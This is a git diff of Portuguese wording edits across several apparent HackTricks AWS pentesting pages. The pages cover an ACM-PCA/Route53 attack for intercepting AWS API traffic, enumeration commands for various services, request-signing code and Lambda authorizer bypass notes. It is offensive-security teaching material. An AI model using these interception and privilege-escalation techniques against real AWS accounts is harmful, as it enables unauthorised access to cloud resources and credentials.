+> Para realizar este ataque, a conta alvo deve já ter uma [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurada na conta, e as instâncias EC2 nas VPC(s) devem já ter importado os certificados para confiá-los. Com essa infraestrutura em vigor, o seguinte ataque pode ser realizado para interceptar o tráfego da API da AWS.
 
 Outras permissões **recomendadas, mas não obrigatórias para a parte de enumeração**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
 
-Assumindo que há uma VPC da AWS com múltiplas aplicações nativas da nuvem se comunicando entre si e com a API da AWS. Como a comunicação entre os microsserviços é frequentemente criptografada em TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a CA privada do acm-pca** com o conjunto mínimo de permissões descritas acima, ele pode **sequestar as chamadas da aplicação para a API da AWS** assumindo suas permissões IAM.
+Assumindo que há uma VPC da AWS com múltiplas aplicações nativas da nuvem se comunicando entre si e com a API da AWS. Como a comunicação entre os microsserviços é frequentemente criptografada em TLS, deve haver uma CA privada para emitir os certificados válidos para esses serviços. **Se o ACM-PCA for usado** para isso e o adversário conseguir **acesso para controlar tanto o route53 quanto a CA privada do acm-pca** com o conjunto mínimo de permissões descrito acima, ele pode **sequestrar as chamadas da aplicação para a API da AWS** assumindo suas permissões IAM.
 
 Isso é possível porque:
 
 - Os SDKs da AWS não têm [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
-- O Route53 permite criar Zona Privada Hospedada e registros DNS para nomes de domínio da API da AWS
+- O Route53 permite criar Zona Hospedada Privada e registros DNS para nomes de domínio da API da AWS
 - A CA Privada no ACM-PCA não pode ser restrita a assinar apenas certificados para Nomes Comuns específicos
 
 **Impacto Potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego.
diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md
index f14253e4d..20f852629 100644
--- a/src/pentesting-cloud/aws-security/aws-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/README.md
@@ -26,6 +26,6 @@ Os serviços que se enquadram na categoria de serviços de contêiner têm as se
 
 ## Enumeração de Serviços
 
-**As páginas desta seção estão ordenadas por serviço da AWS. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e que permitirão que você escale privilégios.**
+**As páginas desta seção estão ordenadas por serviço da AWS. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e isso permitirá que você escale privilégios.**
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
index 08a361b64..7815fd059 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md
@@ -6,14 +6,14 @@
 
 ### Informações Básicas
 
-AWS API Gateway é um serviço abrangente oferecido pela Amazon Web Services (AWS) projetado para desenvolvedores **criarem, publicarem e supervisionarem APIs em grande escala**. Ele funciona como um ponto de entrada para um aplicativo, permitindo que os desenvolvedores estabeleçam um conjunto de regras e procedimentos. Este conjunto rege o acesso que usuários externos têm a certos dados ou funcionalidades dentro do aplicativo.
+AWS API Gateway é um serviço abrangente oferecido pela Amazon Web Services (AWS) projetado para desenvolvedores **criarem, publicarem e supervisionarem APIs em grande escala**. Ele funciona como um ponto de entrada para uma aplicação, permitindo que os desenvolvedores estabeleçam um conjunto de regras e procedimentos. Este conjunto rege o acesso que usuários externos têm a certos dados ou funcionalidades dentro da aplicação.
 
-API Gateway permite que você defina **como as solicitações para suas APIs devem ser tratadas**, e pode criar endpoints de API personalizados com métodos específicos (por exemplo, GET, POST, PUT, DELETE) e recursos. Ele também pode gerar SDKs de cliente (Kits de Desenvolvimento de Software) para facilitar que os desenvolvedores chamem suas APIs a partir de seus aplicativos.
+API Gateway permite que você defina **como as solicitações para suas APIs devem ser tratadas**, e pode criar endpoints de API personalizados com métodos específicos (por exemplo, GET, POST, PUT, DELETE) e recursos. Ele também pode gerar SDKs de cliente (Kits de Desenvolvimento de Software) para facilitar a chamada de suas APIs a partir de suas aplicações.
 
-### Tipos de API Gateways
+### Tipos de Gateways de API
 
 - **HTTP API**: Crie APIs REST de baixa latência e custo-efetivas com recursos integrados, como OIDC e OAuth2, e suporte nativo a CORS. Funciona com: Lambda, backends HTTP.
-- **WebSocket API**: Crie uma API WebSocket usando conexões persistentes para casos de uso em tempo real, como aplicativos de chat ou painéis. Funciona com: Lambda, HTTP, Serviços AWS.
+- **WebSocket API**: Crie uma API WebSocket usando conexões persistentes para casos de uso em tempo real, como aplicações de chat ou painéis. Funciona com: Lambda, HTTP, Serviços AWS.
 - **REST API**: Desenvolva uma API REST onde você tem controle total sobre a solicitação e a resposta, juntamente com capacidades de gerenciamento de API. Funciona com: Lambda, HTTP, Serviços AWS.
 - **REST API Privada**: Crie uma API REST que é acessível apenas de dentro de uma VPC.
 
@@ -28,7 +28,7 @@ API Gateway permite que você defina **como as solicitações para suas APIs dev
 
 ### Registro
 
-Por padrão, **CloudWatch Logs** estão **desligados**, **Registro de Acesso** está **desligado**, e **rastreamento X-Ray** também está **desligado**.
+Por padrão, **CloudWatch Logs** estão **desligados**, **Registro de Acesso** está **desligado**, e **X-Ray tracing** também está **desligado**.
 
 ### Enumeração
 
@@ -133,13 +133,13 @@ No exemplo a seguir, você pode ver que o **IP indicado não pode chamar** o end
 
 <figure><img src="../../../images/image (256).png" alt=""><figcaption></figcaption></figure>
 
-### Autorizador IAM
+### Autenticador IAM
 
 É possível definir que um método dentro de um caminho (um recurso) requer autenticação IAM para ser chamado.
 
 <figure><img src="https://lh3.googleusercontent.com/GGx-kfqNXu6zMqGidnO8_eR88fYPpJG-wNuBBnedAJntiRUEPTEScl7OvWthGYRiI_msYCdC6oBFvJc827Tb4-4UogxpOyrEXyst-8IDzP9DC2NOtXSY7w58L0baCAcBQjSyvBhJREvWWCtiboNYPSKuEw=s2048" alt=""><figcaption></figcaption></figure>
 
-Quando isso é configurado, você receberá o erro `{"message":"Missing Authentication Token"}` ao tentar acessar o endpoint sem nenhuma autorização.
+Quando isso é definido, você receberá o erro `{"message":"Missing Authentication Token"}` ao tentar acessar o endpoint sem nenhuma autorização.
 
 Uma maneira fácil de gerar o token esperado pela aplicação é usar **curl**.
 ```bash
@@ -155,9 +155,9 @@ Ambos os métodos gerarão um **Authorization** **header** como:
 ```
 AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2
 ```
-Note que em outros casos o **Authorizer** pode ter sido **mal codificado** e enviar **qualquer coisa** dentro do **Authorization header** irá **permitir ver o conteúdo oculto**.
+Observe que em outros casos o **Authorizer** pode ter sido **mal codificado** e enviar **qualquer coisa** dentro do **Authorization header** permitirá **ver o conteúdo oculto**.
 
-### Request Signing Using Python
+### Assinatura de Requisições Usando Python
 ```python
 
 pip install requests
@@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth)
 print(response.text)
 
 ```
-### Custom Lambda Authorizer
+### Autorizador Lambda Personalizado
 
-É possível usar uma lambda que, com base em um token fornecido, **retornará uma política IAM** indicando se o usuário está **autorizado a chamar o endpoint da API**.\
-Você pode definir cada método de recurso que usará o autorizer.
+É possível usar um lambda que, com base em um token fornecido, **retornará uma política IAM** indicando se o usuário está **autorizado a chamar o endpoint da API**.\
+Você pode definir cada método de recurso que usará o autorizador.
 
 <details>
 
-<summary>Exemplo de Código do Lambda Authorizer</summary>
+<summary>Exemplo de Código do Autorizador Lambda</summary>
 ```python
 import json
 
@@ -242,7 +242,7 @@ Chame-o com algo como:
 </strong></code></pre>
 
 > [!WARNING]
-> Dependendo do código Lambda, esta autorização pode ser vulnerável
+> Dependendo do código Lambda, essa autorização pode ser vulnerável
 
 Note que se uma **política de negação for gerada e retornada**, o erro retornado pelo API Gateway é: `{"Message":"User is not authorized to access this resource with an explicit deny"}`
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
index 70bb68126..e94cd2443 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md
@@ -4,9 +4,9 @@
 
 ## Informações Básicas
 
-**AWS Certificate Manager (ACM)** é fornecido como um serviço destinado a simplificar o **provisionamento, gerenciamento e implantação de certificados SSL/TLS** para serviços AWS e recursos internos. A necessidade de processos manuais, como compra, upload e renovações de certificados, é **eliminada** pelo ACM. Isso permite que os usuários solicitem e implementem certificados de forma eficiente em vários recursos AWS, incluindo **Elastic Load Balancers, distribuições Amazon CloudFront e APIs no API Gateway**.
+**AWS Certificate Manager (ACM)** é fornecido como um serviço destinado a simplificar a **provisionamento, gerenciamento e implantação de certificados SSL/TLS** para serviços AWS e recursos internos. A necessidade de processos manuais, como compra, upload e renovações de certificados, é **eliminada** pelo ACM. Isso permite que os usuários solicitem e implementem certificados de forma eficiente em vários recursos AWS, incluindo **Elastic Load Balancers, distribuições Amazon CloudFront e APIs no API Gateway**.
 
-Uma característica chave do ACM é a **renovação automática de certificados**, reduzindo significativamente a sobrecarga de gerenciamento. Além disso, o ACM suporta a criação e o gerenciamento centralizado de **certificados privados para uso interno**. Embora os certificados SSL/TLS para serviços integrados da AWS, como Elastic Load Balancing, Amazon CloudFront e Amazon API Gateway, sejam fornecidos sem custo adicional através do ACM, os usuários são responsáveis pelos custos associados aos recursos AWS utilizados por suas aplicações e uma taxa mensal para cada **Autoridade Certificadora (CA) privada** e certificados privados usados fora dos serviços integrados do ACM.
+Uma característica chave do ACM é a **renovação automática de certificados**, reduzindo significativamente a sobrecarga de gerenciamento. Além disso, o ACM suporta a criação e gerenciamento centralizado de **certificados privados para uso interno**. Embora os certificados SSL/TLS para serviços AWS integrados, como Elastic Load Balancing, Amazon CloudFront e Amazon API Gateway, sejam fornecidos sem custo adicional através do ACM, os usuários são responsáveis pelos custos associados aos recursos AWS utilizados por suas aplicações e uma taxa mensal para cada **private Certificate Authority (CA)** e certificados privados usados fora dos serviços integrados do ACM.
 
 **AWS Private Certificate Authority** é oferecido como um **serviço de CA privada gerenciado**, aprimorando as capacidades do ACM ao estender o gerenciamento de certificados para incluir certificados privados. Esses certificados privados são fundamentais para autenticar recursos dentro de uma organização.
 
@@ -26,7 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce
 # Account configuration
 aws acm get-account-configuration
 ```
-### PCM
+### PCA
 ```bash
 # List CAs
 aws acm-pca list-certificate-authorities
@@ -50,7 +50,7 @@ aws acm-pca get-policy --resource-arn <arn>
 
 TODO
 
-## Pós Exploração
+## Post Exploitation
 
 TODO
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
index 8e9beab34..1c7b38535 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md
@@ -1,12 +1,12 @@
-# AWS - CloudFormation & Codestar Enum
+# AWS - Enumeração do CloudFormation & Codestar
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## CloudFormation
 
-AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Esta automação facilita uma gestão mais eficiente e sem erros da infraestrutura AWS.
+AWS CloudFormation é um serviço projetado para **simplificar a gestão de recursos da AWS**. Ele permite que os usuários se concentrem mais em suas aplicações executando na AWS, **minimizando o tempo gasto na gestão de recursos**. O recurso principal deste serviço é o **template**—um modelo descritivo dos recursos da AWS desejados. Uma vez que este template é fornecido, o CloudFormation é responsável pela **provisionamento e configuração** dos recursos especificados. Essa automação facilita uma gestão mais eficiente e sem erros da infraestrutura da AWS.
 
-### Enumeration
+### Enumeração
 ```bash
 # Stacks
 aws cloudformation list-stacks
@@ -37,7 +37,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do cloud
 ../aws-privilege-escalation/aws-cloudformation-privesc/
 {{#endref}}
 
-### Pós-Exploração
+### Post-Exploitation
 
 Verifique se há **segredos** ou informações sensíveis no **template, parâmetros e saída** de cada CloudFormation
 
@@ -45,7 +45,7 @@ Verifique se há **segredos** ou informações sensíveis no **template, parâme
 
 AWS CodeStar é um serviço para criar, gerenciar e trabalhar com projetos de desenvolvimento de software na AWS. Você pode desenvolver, construir e implantar rapidamente aplicações na AWS com um projeto AWS CodeStar. Um projeto AWS CodeStar cria e **integra serviços da AWS** para sua cadeia de ferramentas de desenvolvimento de projetos. Dependendo da sua escolha de template de projeto AWS CodeStar, essa cadeia de ferramentas pode incluir controle de versão, construção, implantação, servidores virtuais ou recursos sem servidor, e mais. O AWS CodeStar também **gerencia as permissões necessárias para os usuários do projeto** (chamados de membros da equipe).
 
-### Enumeração
+### Enumeration
 ```bash
 # Get projects information
 aws codestar list-projects
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
index 3f4943246..2867b6066 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
@@ -4,17 +4,17 @@
 
 ## CloudFront
 
-CloudFront é a **rede de entrega de conteúdo da AWS que acelera a distribuição** do seu conteúdo estático e dinâmico através de sua rede mundial de locais de borda. Quando você usa um conteúdo de solicitação que está hospedando através do Amazon CloudFront, a solicitação é roteada para o local de borda mais próximo, o que proporciona a menor latência para oferecer o melhor desempenho. Quando os **logs de acesso do CloudFront** estão habilitados, você pode registrar a solicitação de cada usuário que solicita acesso ao seu site e distribuição. Assim como os logs de acesso do S3, esses logs também são **armazenados no Amazon S3 para armazenamento durável e persistente**. Não há cobranças por habilitar o registro em si, no entanto, como os logs são armazenados no S3, você será cobrado pelo armazenamento utilizado pelo S3.
+CloudFront é a **rede de entrega de conteúdo da AWS que acelera a distribuição** do seu conteúdo estático e dinâmico através de sua rede mundial de locais de borda. Quando você usa um conteúdo de solicitação que está hospedando através do Amazon CloudFront, a solicitação é roteada para o local de borda mais próximo, que fornece a menor latência para oferecer o melhor desempenho. Quando os **logs de acesso do CloudFront** estão habilitados, você pode registrar a solicitação de cada usuário que solicita acesso ao seu site e distribuição. Assim como os logs de acesso do S3, esses logs também são **armazenados no Amazon S3 para armazenamento durável e persistente**. Não há cobranças por habilitar a gravação em si, no entanto, como os logs são armazenados no S3, você será cobrado pelo armazenamento utilizado pelo S3.
 
-Os arquivos de log capturam dados ao longo de um período de tempo e, dependendo da quantidade de solicitações recebidas pelo Amazon CloudFront para essa distribuição, dependerá da quantidade de arquivos de log que são gerados. É importante saber que esses arquivos de log não são criados ou escritos no S3. O S3 é simplesmente onde eles são entregues uma vez que o arquivo de log está cheio. **O Amazon CloudFront retém esses logs até que estejam prontos para serem entregues ao S3**. Novamente, dependendo do tamanho desses arquivos de log, essa entrega pode levar **entre uma e 24 horas**.
+Os arquivos de log capturam dados ao longo de um período de tempo e, dependendo da quantidade de solicitações recebidas pelo Amazon CloudFront para essa distribuição, dependerá da quantidade de arquivos de log que são gerados. É importante saber que esses arquivos de log não são criados ou gravados no S3. O S3 é simplesmente onde eles são entregues uma vez que o arquivo de log está cheio. **O Amazon CloudFront retém esses logs até que estejam prontos para serem entregues ao S3**. Novamente, dependendo do tamanho desses arquivos de log, essa entrega pode levar **entre uma e 24 horas**.
 
-**Por padrão, o registro de cookies está desativado**, mas você pode habilitá-lo.
+**Por padrão, o registro de cookies está desativado**, mas você pode ativá-lo.
 
 ### Functions
 
-Você pode criar funções no CloudFront. Essas funções terão seu **endpoint no cloudfront** definido e executarão um **código NodeJS** declarado. Esse código será executado dentro de um **sandbox** em uma máquina gerenciada pela AWS (você precisaria de um bypass de sandbox para conseguir escapar para o sistema operacional subjacente).
+Você pode criar funções no CloudFront. Essas funções terão seu **endpoint no cloudfront** definido e executarão um **código NodeJS** declarado. Esse código será executado dentro de um **sandbox** em uma máquina que está sob a gestão da AWS (você precisaria de um bypass de sandbox para conseguir escapar para o sistema operacional subjacente).
 
-Como as funções não são executadas na conta AWS dos usuários, nenhuma função IAM está anexada, portanto, nenhum privilégio de escalonamento direto é possível abusando dessa funcionalidade.
+Como as funções não são executadas na conta AWS dos usuários, nenhuma função IAM está anexada, portanto, nenhum privilégio direto é possível abusando desse recurso.
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
index d0a478716..96c32a2f7 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
@@ -4,27 +4,27 @@
 
 ## HSM - Módulo de Segurança de Hardware
 
-Cloud HSM é um **dispositivo de hardware** validado no nível dois do FIPS 140 para armazenamento seguro de chaves criptográficas (note que CloudHSM é um appliance de hardware, não é um serviço virtualizado). É um appliance SafeNetLuna 7000 com 5.3.13 pré-carregado. Existem duas versões de firmware e a escolha de qual usar depende realmente das suas necessidades exatas. Uma é para conformidade com FIPS 140-2 e há uma versão mais nova que pode ser utilizada.
+Cloud HSM é um **dispositivo de hardware** validado no nível dois do FIPS 140 para armazenamento seguro de chaves criptográficas (note que CloudHSM é um appliance de hardware, não é um serviço virtualizado). É um appliance SafeNetLuna 7000 com 5.3.13 pré-carregado. Existem duas versões de firmware e qual você escolher depende realmente de suas necessidades exatas. Uma é para conformidade com o FIPS 140-2 e houve uma versão mais nova que pode ser usada.
 
 A característica incomum do CloudHSM é que é um dispositivo físico e, portanto, **não é compartilhado com outros clientes**, ou como é comumente chamado, multi-tenant. É um appliance dedicado de único inquilino exclusivamente disponível para suas cargas de trabalho.
 
-Normalmente, um dispositivo está disponível em 15 minutos, assumindo que há capacidade, mas em algumas zonas isso pode não ocorrer.
+Normalmente, um dispositivo está disponível em 15 minutos, assumindo que há capacidade, mas em algumas zonas pode não haver.
 
-Como este é um dispositivo físico dedicado a você, **as chaves são armazenadas no dispositivo**. As chaves precisam ser **replicadas para outro dispositivo**, feitas backup em armazenamento offline ou exportadas para um appliance de espera. **Este dispositivo não é respaldado** pelo S3 ou qualquer outro serviço da AWS como KMS.
+Como este é um dispositivo físico dedicado a você, **as chaves são armazenadas no dispositivo**. As chaves precisam ser **replicadas para outro dispositivo**, feitas backup em armazenamento offline ou exportadas para um appliance de espera. **Este dispositivo não é respaldado** pelo S3 ou qualquer outro serviço da AWS como o KMS.
 
 No **CloudHSM**, você tem que **escalar o serviço você mesmo**. Você precisa provisionar dispositivos CloudHSM suficientes para lidar com suas necessidades de criptografia com base nos algoritmos de criptografia que você escolheu implementar para sua solução.\
-A escalabilidade do Key Management Service é realizada pela AWS e escala automaticamente sob demanda, então, à medida que seu uso cresce, o número de appliances CloudHSM necessários também pode aumentar. Tenha isso em mente ao escalar sua solução e, se sua solução tiver auto-escalabilidade, certifique-se de que sua escala máxima esteja contabilizada com dispositivos CloudHSM suficientes para atender à solução.
+A escalabilidade do Key Management Service é realizada pela AWS e escala automaticamente sob demanda, então, à medida que seu uso cresce, o número de appliances CloudHSM necessários também pode aumentar. Tenha isso em mente ao escalar sua solução e, se sua solução tiver auto-escalonamento, certifique-se de que sua escala máxima esteja contabilizada com dispositivos CloudHSM suficientes para atender à solução.
 
-Assim como a escalabilidade, **o desempenho depende de você com o CloudHSM**. O desempenho varia com base no algoritmo de criptografia utilizado e na frequência com que você precisa acessar ou recuperar as chaves para criptografar os dados. O desempenho do serviço de gerenciamento de chaves é tratado pela Amazon e escala automaticamente conforme a demanda. O desempenho do CloudHSM é alcançado adicionando mais appliances e, se você precisar de mais desempenho, você adiciona dispositivos ou altera o método de criptografia para o algoritmo que é mais rápido.
+Assim como a escalabilidade, **o desempenho depende de você com o CloudHSM**. O desempenho varia com base no algoritmo de criptografia usado e na frequência com que você precisa acessar ou recuperar as chaves para criptografar os dados. O desempenho do serviço de gerenciamento de chaves é tratado pela Amazon e escala automaticamente conforme a demanda exige. O desempenho do CloudHSM é alcançado adicionando mais appliances e, se você precisar de mais desempenho, você adiciona dispositivos ou altera o método de criptografia para o algoritmo que é mais rápido.
 
 Se sua solução for **multi-região**, você deve adicionar vários **appliances CloudHSM na segunda região e resolver a conectividade entre regiões com uma conexão VPN privada** ou algum método para garantir que o tráfego esteja sempre protegido entre o appliance em cada camada da conexão. Se você tiver uma solução multi-região, precisa pensar em como **replicar chaves e configurar dispositivos CloudHSM adicionais nas regiões onde você opera**. Você pode rapidamente entrar em um cenário onde tem seis ou oito dispositivos espalhados por várias regiões, permitindo total redundância de suas chaves de criptografia.
 
-**CloudHSM** é um serviço de classe empresarial para armazenamento seguro de chaves e pode ser usado como uma **raiz de confiança para uma empresa**. Ele pode armazenar chaves privadas em PKI e chaves de autoridade certificadora em implementações X509. Além das chaves simétricas usadas em algoritmos simétricos como AES, **KMS armazena e protege fisicamente apenas chaves simétricas (não pode atuar como uma autoridade certificadora)**, então, se você precisar armazenar chaves PKI e CA, um ou dois ou três CloudHSM podem ser sua solução.
+**CloudHSM** é um serviço de classe empresarial para armazenamento seguro de chaves e pode ser usado como uma **raiz de confiança para uma empresa**. Ele pode armazenar chaves privadas em PKI e chaves de autoridade certificadora em implementações X509. Além das chaves simétricas usadas em algoritmos simétricos como AES, **o KMS armazena e protege fisicamente apenas chaves simétricas (não pode atuar como uma autoridade certificadora)**, então, se você precisar armazenar chaves PKI e CA, um ou dois ou três CloudHSM podem ser sua solução.
 
 **CloudHSM é consideravelmente mais caro que o Key Management Service**. CloudHSM é um appliance de hardware, então você tem custos fixos para provisionar o dispositivo CloudHSM, além de um custo por hora para operar o appliance. O custo é multiplicado pelo número de appliances CloudHSM necessários para atender aos seus requisitos específicos.\
 Além disso, deve-se considerar a compra de software de terceiros, como suítes de software SafeNet ProtectV e o tempo e esforço de integração. O Key Management Service é baseado em uso e depende do número de chaves que você possui e das operações de entrada e saída. Como o gerenciamento de chaves fornece integração perfeita com muitos serviços da AWS, os custos de integração devem ser significativamente menores. Os custos devem ser considerados um fator secundário em soluções de criptografia. A criptografia é tipicamente usada para segurança e conformidade.
 
-**Com o CloudHSM, apenas você tem acesso às chaves** e, sem entrar em muitos detalhes, com o CloudHSM você gerencia suas próprias chaves. **Com o KMS, você e a Amazon co-gerenciam suas chaves**. A AWS possui muitas salvaguardas de políticas contra abusos e **ainda não pode acessar suas chaves em nenhuma das soluções**. A principal distinção é a conformidade em relação à propriedade e gerenciamento de chaves, e com o CloudHSM, este é um appliance de hardware que você gerencia e mantém com acesso exclusivo a você e somente você.
+**Com o CloudHSM, apenas você tem acesso às chaves** e sem entrar em muitos detalhes, com o CloudHSM você gerencia suas próprias chaves. **Com o KMS, você e a Amazon co-gerenciam suas chaves**. A AWS tem muitas salvaguardas de políticas contra abusos e **ainda não pode acessar suas chaves em nenhuma das soluções**. A principal distinção é a conformidade em relação à propriedade e gerenciamento de chaves, e com o CloudHSM, este é um appliance de hardware que você gerencia e mantém com acesso exclusivo a você e somente você.
 
 ### Sugestões para CloudHSM
 
@@ -36,7 +36,7 @@ Além disso, deve-se considerar a compra de software de terceiros, como suítes
 6. A configuração de **SNMP** tem as mesmas restrições básicas que a rede e a pasta SysLog. Isso **não deve ser alterado ou removido**. Uma configuração **adicional** de SNMP é aceitável, apenas certifique-se de não alterar a que já está no appliance.
 7. Outra boa prática interessante da AWS é **não alterar a configuração NTP**. Não está claro o que aconteceria se você o fizesse, então tenha em mente que, se você não usar a mesma configuração NTP para o resto de sua solução, poderá ter duas fontes de tempo. Apenas esteja ciente disso e saiba que o CloudHSM deve permanecer com a fonte NTP existente.
 
-A cobrança inicial para o CloudHSM é de $5,000 para alocar o appliance de hardware dedicado para seu uso, depois há uma cobrança horária associada à execução do CloudHSM que atualmente é de $1.88 por hora de operação, ou aproximadamente $1,373 por mês.
+A cobrança inicial para o CloudHSM é de $5.000 para alocar o appliance de hardware dedicado para seu uso, depois há uma cobrança horária associada à execução do CloudHSM que atualmente é de $1,88 por hora de operação, ou aproximadamente $1.373 por mês.
 
 A razão mais comum para usar o CloudHSM são os padrões de conformidade que você deve atender por razões regulatórias. **O KMS não oferece suporte a dados para chaves assimétricas. O CloudHSM permite que você armazene chaves assimétricas com segurança**.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
index fba78b818..347b4b323 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
@@ -1,4 +1,4 @@
-# AWS - Codebuild Enum
+# AWS - Enumeração do Codebuild
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -10,13 +10,13 @@ AWS **CodeBuild** é reconhecido como um **serviço de integração contínua to
 2. **Integração Contínua**: Ele se integra ao fluxo de trabalho de desenvolvimento e implantação, automatizando as fases de build e teste do processo de liberação de software.
 3. **Produção de Pacotes**: Após as fases de build e teste, ele prepara os pacotes de software, tornando-os prontos para implantação.
 
-O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, melhorando a eficiência e a confiabilidade do pipeline CI/CD (Integração Contínua/Implantação Contínua).
+O AWS CodeBuild se integra perfeitamente com outros serviços da AWS, aumentando a eficiência e a confiabilidade do pipeline de CI/CD (Integração Contínua/Implantação Contínua).
 
 ### **Credenciais do Github/Gitlab/Bitbucket**
 
 #### **Credenciais de fonte padrão**
 
-Esta é a opção legada onde é possível configurar algum **acesso** (como um token do Github ou aplicativo) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado.
+Esta é a opção legada onde é possível configurar algum **acesso** (como um token ou aplicativo do Github) que será **compartilhado entre os projetos do codebuild**, para que todos os projetos possam usar esse conjunto de credenciais configurado.
 
 As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild** e não há nenhuma maneira pública de recuperá-las das APIs da AWS.
 
@@ -24,7 +24,7 @@ As credenciais armazenadas (tokens, senhas...) são **gerenciadas pelo codebuild
 
 Dependendo da plataforma do repositório (Github, Gitlab e Bitbucket), diferentes opções são fornecidas. Mas, em geral, qualquer opção que requer **armazenar um token ou uma senha será armazenada como um segredo no gerenciador de segredos**.
 
-Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores, em vez de apenas usar o padrão configurado.
+Isso permite que **diferentes projetos do codebuild usem diferentes acessos configurados** aos provedores em vez de apenas usar o padrão configurado.
 
 ### Enumeração
 ```bash
@@ -55,19 +55,19 @@ Na página a seguir, você pode verificar como **abusar das permissões do codeb
 ../aws-privilege-escalation/aws-codebuild-privesc.md
 {{#endref}}
 
-### Pós Exploração
+### Post Exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-codebuild-post-exploitation/
 {{#endref}}
 
-### Acesso Não Autenticado
+### Unauthenticated Access
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 {{#endref}}
 
-## Referências
+## References
 
 - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
index bf0cc125d..3bc87bf08 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
@@ -9,7 +9,7 @@ O Amazon Cognito é utilizado para **autenticação, autorização e gerenciamen
 Central ao Amazon Cognito estão dois componentes principais:
 
 1. **User Pools**: Estes são diretórios projetados para os usuários do seu aplicativo, oferecendo **funcionalidades de cadastro e login**.
-2. **Identity Pools**: Esses pools são instrumentais na **autorização de usuários para acessar diferentes serviços AWS**. Eles não estão diretamente envolvidos no processo de login ou cadastro, mas são cruciais para o acesso a recursos após a autenticação.
+2. **Identity Pools**: Esses pools são instrumentais na **autorização de usuários para acessar diferentes serviços da AWS**. Eles não estão diretamente envolvidos no processo de login ou cadastro, mas são cruciais para o acesso a recursos após a autenticação.
 
 ### **User pools**
 
@@ -73,11 +73,11 @@ aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
 ```
 ### Identity Pools - Enumeração Não Autenticada
 
-Apenas **saber o ID do Pool de Identidade** pode permitir que você **obtenha credenciais do papel associado a usuários não autenticados** (se houver). [**Veja como aqui**](cognito-identity-pools.md#accessing-iam-roles).
